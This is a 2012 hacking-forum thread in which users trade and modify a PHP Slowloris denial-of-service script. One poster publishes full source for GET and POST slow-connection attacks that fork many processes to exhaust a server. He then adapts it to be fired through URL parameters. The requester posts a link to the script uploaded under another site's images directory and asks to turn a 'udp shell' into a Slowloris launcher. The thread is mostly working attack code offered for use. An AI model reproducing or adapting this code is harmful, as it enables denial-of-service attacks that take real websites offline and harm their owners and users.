Slowloris script - Clubs - Aug 22, 2012
Hi guys, I've been searching for a working slowloris script for like a week and haven't found one that working.
The most used one is this:
http://pastebin.com/BLEM4v0f
But I couldn't get it to work.
In the usage line to shows this:
PHP Code
<?php Usage: ./{$argv[0]} <get or post> <number of processes> <server> [host]\n
I think that it means that I should enter the url like this:
http://google.com/slowloris.php/<GET> <100> <1.1.1.1>
But I'm not sure.
So if anyone has a working slowloris script that he would like to share with me or knows how to get the script above to work it would be AWSOME.
* - Alex™ - Aug 22, 2012
Uhh thats meant to be used from a client like putty. (i think)
php file.php usage shit here
* - Clubs - Aug 22, 2012
Oh okay that sucks if I can only use it via a putty.
Anyone has a slowloris php script that can be activated right through the url or something like that?
* - ManDoR - Aug 22, 2012
I think to need to use it like that :
The php you found is a php that has to be executed with command line, like with Putty as said above. Then you will just need to add args like the exemple. For exemple :
script.php arg1 arg2 arg3 etc
Just saw your post, modifying the source, wait
* - Alex™ - Aug 22, 2012
(Aug 22, 2012 04:19 AM)MotherFucker Jones Wrote: Oh okay that sucks if I can only use it via a putty.
Anyone has a slowloris php script that can be activated right through the url or something like that?
You could just edit it to use get commands?
* - ManDoR - Aug 22, 2012
Here you go :
Haven't tested it yet though.
PHP Code
<?php /* PHP Slowloris * Created by Reckz0r * Contains get based attack (slow headers) and post based attack (long content length) * * Author: Reck/Reckz0r * Modified by ManDoR on HackForums */
function usage($argv){ echo "Usage : \n main(array('<get or post>', '<number of processes>', '<server>', '[host]'));\n"; echo "Strings with <> are needed, strings with [] are optionals\n"; echo "Exemple : \n main('get', '5', '7.7.7.7');\n"; die(); }
function attack_get($server, $host){ $request = "GET / HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Content-Length: " . rand(1, 100) . "\r\n"; $request .= "Accept: *.*\r\n"; $request .= "X-a: " . rand(1, 10000) . "\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request);
while (true){ if (@fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")){ echo "."; sleep(15); }else{ echo "\nOne get attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } }
}
function attack_post($server, $host){ $request = "POST /".md5(rand())." HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Content-Length: 100\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Accept: *.*\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request);
while (true){ if (@fwrite($sockfd, ".") !== FALSE){ echo "."; sleep(1); }else{ echo "\nOne post attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } }
}
function main($argv){ $status = 1; $argc = count($argv); if ($argc == 4){ $argv[4] = $argv[3]; }else if ($argc < 5){ usage($argv); }
$pids = array();
for ($i = 0; $i < $argv[2]; $i++){ $pid = pcntl_fork();
if ($pid == -1){ die("Error forking!\n"); }else if ($pid == 0){ //child process if ($argv[1] == 'post') { attack_post($argv[3], $argv[4]); }elseif ($argv[1] == 'get') { attack_get($argv[3], $argv[4]); }else{ die("Invalid method, use 'get' or 'post'\n"); } exit(0); }else{ //parent process $pids[] = $pid; } }
foreach ($pids as $pid){ pcntl_waitpid($pid, $status); } }
* - Clubs - Aug 22, 2012
Thanks! But you didn't tell me how to excute the commands or make it to work :)
* - ManDoR - Aug 22, 2012
I edited the usage message :) just look at it :)
* - Clubs - Aug 22, 2012
You mean like:
http://google.com/sloloris.php<GET><100><1.1.1.1>
Cause if so it doesn't work..
* - ManDoR - Aug 22, 2012
No, it has to be used in the file directly, look at the exemple bro ^^
If you want it to be executed via get I can too, but you can easily do it ^^
* - Clubs - Aug 22, 2012
Oh now I understand. I uploaded the script and it doesn't show anything:
http://autolakovnachynov.cz/images/galerie/1.php
* - ManDoR - Aug 22, 2012
I just modified it to be able to be executed via get args.
Here it is :
PHP Code
<?php /* PHP Slowloris * Created by Reckz0r * Contains get based attack (slow headers) and post based attack (long content length) * * Author: Reck/Reckz0r * Modified by ManDoR on HackForums */
function usage(){ echo "Usage : \n file.php?type=<get or post>&process=<number of process>&server=<ip of server>&host=[ip of host]\n"; echo "Strings with <> are needed, strings with [] are optionals\n"; echo "Exemple : \n file.php?type=post&process=5&server=5.5.5.5\n"; die(); }
function attack_get($server, $host){ $request = "GET / HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Content-Length: " . rand(1, 100) . "\r\n"; $request .= "Accept: *.*\r\n"; $request .= "X-a: " . rand(1, 10000) . "\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request);
while (true){ if (@fwrite($sockfd, "X-c:" . rand(1, 100) . "\r\n")){ echo "."; sleep(15); }else{ echo "\nOne get attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } }
}
function attack_post($server, $host){ $request = "POST /".md5(rand())." HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Content-Length: 100\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Accept: *.*\r\n";
$sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request);
while (true){ if (@fwrite($sockfd, ".") !== FALSE){ echo "."; sleep(1); }else{ echo "\nOne post attack failed to sent...\n"; $sockfd = @fsockopen($server, 80, $errno, $errstr); @fwrite($sockfd, $request); } }
}
function main($argv){ $status = 1; $argc = count($argv); if ($argc == 4){ $argv[4] = $argv[3]; }else if ($argc < 5){ usage($argv); }
$pids = array();
for ($i = 0; $i < $argv[2]; $i++){ $pid = pcntl_fork();
if ($pid == -1){ die("Error forking!\n"); }else if ($pid == 0){ //child process if ($argv[1] == 'post') { attack_post($argv[3], $argv[4]); }elseif ($argv[1] == 'get') { attack_get($argv[3], $argv[4]); }else{ die("Invalid method, use 'get' or 'post'\n"); } exit(0); }else{ //parent process $pids[] = $pid; } }
foreach ($pids as $pid){ pcntl_waitpid($pid, $status); } }
$type = ($_GET["type"] == "get" OR $_GET["type"] == "post") ? $_GET["type"] : null; $process = (!empty($_GET["process"]) AND is_numeric($_GET["process"])) ? $_GET["process"] : null; $server = (!empty($_GET["server"])) ? $_GET["server"] : null; $host = (!empty($_GET["host"])) ? $_GET["host"] : null;
if(!empty($type) && !empty($process) && !empty($server)) { if(!empty($host)) { main(array($type, $process, $server, $host)); } else { main(array($type, $process, $server)); } } else { usage(); }
Quote:Usage :
file.php?type=<get or post>&process=<number of process>&server=<ip of server>&host=[ip of host]
Exemple :
file.php?type=post&process=5&server=5.5.5.5
* - YERANUK - Aug 22, 2012
That script is meant to be run using the php binary directly.
It's a lot more useful than sending a GET request to your servers, you could send the command with your command line, and to other servers via ssh.
* - Clubs - Aug 22, 2012
tried, still doesn't work :/
I don't get a 404 error but it still doesn't send the attack.
can you please try to edit a regular udp shell so it will send a slowloris attack instead of udp?
* - ManDoR - Aug 22, 2012
(Aug 22, 2012 05:45 AM)Desugrace Wrote: That script is meant to be run using the php binary directly.
It's a lot more useful than sending a GET request to your servers, you could send the command with your command line, and to other servers via ssh.
Yep that's what we said above, and why I'm trying to convert it ;)
|